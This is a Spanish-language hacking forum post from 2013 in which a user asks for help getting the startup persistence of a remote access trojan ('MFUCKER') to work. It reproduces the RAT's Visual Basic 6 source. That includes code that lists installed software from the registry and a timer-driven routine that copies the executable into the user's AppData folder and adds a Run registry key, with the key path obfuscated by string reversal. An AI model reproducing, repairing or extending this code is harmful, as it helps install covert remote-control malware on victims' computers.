Página 1 de 1

No me funciona el inicio de este programa en windows

Publicado: 08 Sep 2013, 11:37
por xivan25
Hola a todos,mi intencion es modear este source de oro (se trata del rat MFUCKER),resulta que no incia con windows aqui esta el codigo de autoinicio:
1-un modulo:

Código: Seleccionar todo

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Liberado por: Xa0s
' En: professional-hacker.org
' Y en: indetectables.net
' Email/MSN: [email protected]
' Disfrutenlo. Hasta el dia de hoy era privado
' NO SEAN MALDITOS Y SI DISTRIBUYEN EL CODIGO NO BORREN ESTO. AL MENOS RESPETEN
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'FIXIT: Utilice Option Explicit para evitar la creación implícita de variables de tipo Variant.     FixIT90210ae-R383-H1984
Private Const HKEY_PERFORMANCE_DATA = &H80000004
Private Const ERROR_SUCCESS = 0&
'FIXIT: As Any no se admite en Visual Basic .NET. Utilice un tipo específico.              FixIT90210ae-R5608-H1984
Private Declare Function RegEnumKeyEx Lib "ADVAPI32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "ADVAPI32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "ADVAPI32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "ADVAPI32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib "ADVAPI32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
'FIXIT: As Any no se admite en Visual Basic .NET. Utilice un tipo específico.              FixIT90210ae-R5608-H1984
Private Declare Function RegQueryValueEx Lib "ADVAPI32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
'FIXIT: As Any no se admite en Visual Basic .NET. Utilice un tipo específico.              FixIT90210ae-R5608-H1984
Private Declare Function RegSetValueEx Lib "ADVAPI32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Dim sKeys As Collection
'FIXIT: Declare 'GetString' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
Public Function GetString(hKey As Long, strPath As String, strValue As String)
Dim Keyhand As Long
Dim datatype As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
r = RegOpenKey(hKey, strPath, Keyhand)
lResult = RegQueryValueEx(Keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)
If lValueType = REG_SZ Then
    strBuf = String$(lDataBufSize, " ")
    lResult = RegQueryValueEx(Keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
    If lResult = ERROR_SUCCESS Then
        intZeroPos = InStr(strBuf, Chr$(0))
        If intZeroPos > 0 Then
            GetString = Left$(strBuf, intZeroPos - 1)
        Else
            GetString = strBuf
        End If
    End If
End If
End Function
Public Sub GetKeyNames(ByVal hKey As Long, ByVal strPath As String)
Dim Cnt As Long, StrBuff As String, StrKey As String, TKey As Long
    RegOpenKey hKey, strPath, TKey
    Do
        StrBuff = String$(255, vbNullChar)
        If RegEnumKeyEx(TKey, Cnt, StrBuff, 255, 0, vbNullString, 0, ByVal 0&) <> 0 Then Exit Do
        Cnt = Cnt + 1
        StrKey = Left$(StrBuff, InStr(StrBuff, vbNullChar) - 1)
        sKeys.Add StrKey
    Loop
End Sub
Public Function Apps() As String
Dim Icnt As Integer
Dim IntString As String
    Set sKeys = New Collection
    IntString = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
    GetKeyNames HKEY_LOCAL_MACHINE, IntString
    For Icnt = 1 To sKeys.Count - 1
        Dim StrDisName As String, StrDisVersion As String
        StrDisName = GetString(HKEY_LOCAL_MACHINE, IntString & sKeys(Icnt), "DisplayName")
        StrDisVersion = GetString(HKEY_LOCAL_MACHINE, IntString & sKeys(Icnt), "DisplayVersion")
        If Len(StrDisName) > 1 Then Apps = Apps & StrDisName & Chr(3) & StrDisVersion & Chr(2)
    Next
    Set sKeys = Nothing
End Function
2-En un Timer con interval 15000:

Código: Seleccionar todo

On Error Resume Next
Call SuperStartup(App.Path & "\" & App.EXEName & ".exe", oProceso, oProceso)
End Sub
3-La Funcion a la que supuestamente llama:

Código: Seleccionar todo

Function SuperStartup(from As String, ToCopy As String, StrtName As String)
On Error Resume Next
Dim hKey As Long, hCreate As Long, hSet As Long, dir As String
dir = Environ("appdata") & "\" & ToCopy & ".exe"
Call FileCopy(from, dir)
hCreate = RegCreateKey(HKEY_CURRENT_USER, StrReverse("nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), hKey)
hSet = RegSetValueEx(hKey, StrtName, 0, REG_SZ, dir, Len(dir))
RegCloseKey (hKey)
End Function
4-Unas Declaraciones para que todo Funcione:

Código: Seleccionar todo

Private Declare Function RegCloseKey Lib "ADVAPI32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "ADVAPI32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCreateKey Lib "ADVAPI32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Const HKEY_CURRENT_USER = &H80000001
Private Const REG_SZ = 1&
No consigo hacer que se autoinicie,he provado varias modificaciones y nada
Segun vuestra experiencia,¿que hay mal en este codigo?
¿Que deberia de cambiar?